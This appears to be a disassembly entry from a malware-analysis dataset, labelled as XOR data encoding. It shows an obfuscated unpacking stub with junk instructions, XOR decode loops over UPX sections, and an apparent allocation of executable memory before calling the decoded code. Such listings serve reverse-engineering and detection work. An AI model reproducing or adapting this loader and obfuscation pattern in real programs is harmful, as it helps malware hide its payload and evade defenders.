Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x744a06f
and edi, eax
not eax
sub eax, 0x55be63af
popal
sub eax, 0x104d15bc
mov eax, 0x6a6e1074
sub edi, eax
mov eax, 0
mov ecx, edi
add esi, 1
add esi, esi
mov edx, ecx
add ebx, 1
add ebx, esi
mov edi, edx
not ebx
mov esi, ebx
add eax, 1
mov ebx, 0xb6ed9bb9
not esi
cmp eax, 0x100793d
jne 0xa789cf
mov ebx, 0xc5d5361a
add esi, 0x7aa24ff8
not esi
and eax, eax
or eax, eax
add eax, 0xc7c84a3e
mov ebx, 0xa78796
mov esi, 0x8ec38576
dec esi
not edx
mov ecx, 0xa7898a
add esi, edx
add edi, esi
add edi, edi
mov eax, dword [ebx]
dec edi
sub esi, edx
and eax, 0xff
and edi, edi
add esi, 1
xor dword [ecx], eax
mov edi, 0x9352a784
mov edi, esi
inc ecx
and edi, edx
mov edi, edx
inc ebx
inc esi
add edi, 0xd9f78242
cmp ecx, entry0
jl 0xa78a31
or edx, edi
not edx
and esi, esi
inc edx
inc edx
sub esi, 0xde770521
dec ebx
not edi
add ebx, ebx
mov edx, 0xa7898e
or ebx, ecx
sub ecx, esi
and edi, esi
mov edx, dword [edx]
sub edi, esi
sub ebx, 1
not ebx
mov edx, dword [edx]
dec ecx
sub edi, esi
push edx
mov ecx, edi
mov esi, 0xeed4da41
add edi, 0xafd0178
mov edx, 0xa7898a
mov ebx, 0x1f1fb05
not ecx
mov edx, dword [edx]
not esi
add esi, 0x56ef059c
mov edx, dword [edx]
sub ecx, edi
mov ebx, 0xdf4e3115
dec edi
sub esp, 4
mov dword [esp], 0xa78992
add ecx, 1
dec ebx
call edx
sub ecx, edi
mov ecx, esi
pop edx
add edi, 1
or esi, edi
push 0xa7899f
dec esi
sub ebx, 0xd5940cf2
add edi, 1
push eax
inc ecx
add esi, 0xb4cd8266
and edi, edi
call edx
or ecx, edi
add ebx, 1
or ebx, ebx
sub esp, 4
mov dword [esp], 0x40
mov edi, 0x44686f93
mov edi, esi
push 0x3000
not ebx
sub ecx, esi
sub esp, 4
mov dword [esp], 0x20000890
sub ecx, 0x16a52fa9
add ebx, edi
push 0
and ebx, esi
or ecx, ebx
mov ebx, ecx
call eax
sub ebx, esi
add esi, 0xb7dcd95c
add eax, 0x20000817
or esi, ebx
not ebx
mov edx, 0x7e00a1b3
add ebx, edi
and esi, esi
mov ebx, ecx
mov dword [eax], edx
dec esi
sub edi, 0x9c98175b
mov edx, dword [eax]
dec ebx
add edi, 1
cmp edx, 0x7e00a1b3
je 0xa78b82
mov eax, 0
mov cl, byte [eax]
or edi, esi
dec edi
or ebx, ebx
inc esi
add esi, ebx
add esi, ebx
add edi, edi
sub edi, eax
add eax, 0x80373ed4
mov esi, section.UPX1
dec eax
and eax, edi
mov edx, 0xa78795
mov eax, 0xec28b01e
sub eax, edi
add eax, 0x82ff9513
mov ebx, 0
add eax, 0x70a15147
mov eax, 0x47729d44
mov eax, edi
mov ecx, 0xa78796
or eax, eax
or edi, edi
lea ecx, [ecx + ebx]
add edi, eax
add eax, 0xb4ca34c7
mov eax, edi
mov ecx, dword [ecx]
or eax, eax
add edi, eax
and ecx, 0xff
mov eax, 0x9b485651
add edi, 0xbd097274
not eax
inc ebx
sub eax, 1
or edi, eax
and edi, eax
cmp ebx, 0x1f4
jne 0xa78c09
mov ebx, 0
mov edi, eax
inc eax
not edi
or edi, eax
add edi, 1
xor dword [esi], ecx
not edi
add eax, 0x5640abd3
sub eax, 0xf2faf587
add esi, 2
sub edi, eax
sub eax, 0x992fb129
cmp esi, edx
jl 0xa78bc2
add edi, 0xa38b56f0
sub eax, 1
or eax, edi
sub edi, 0xa00e3193
mov edi, 0xaada2da4
mov edi, section.UPX1
dec esi
add esi, edx
mov esi, 0xeb29e78d
mov ebx, section.UPX1
not esi
add edx, 0x14c7e40f
inc esi
mov ecx, 0xa78795
and esi, esi
mov edx, esi
add edx, edx
mov eax, 0
sub edx, esi
add edx, 0x2c04e8e7
mov al, byte [ebx]
not esi
sub edx, esi
sub esi, 1
mov byte [edi], al
not edx
add edx, 0xee74c318
inc edi
and esi, esi
mov esi, edx
add ebx, 2
add esi, 0x2dfc1fa5
inc edx
cmp ebx, ecx
jle 0xa78c88
add edx, 0xb48565f9
not esi
not esi
inc edi
sub eax, edi
push 0x8dc6a0
not eax
mov eax, 0xa99402d1
ret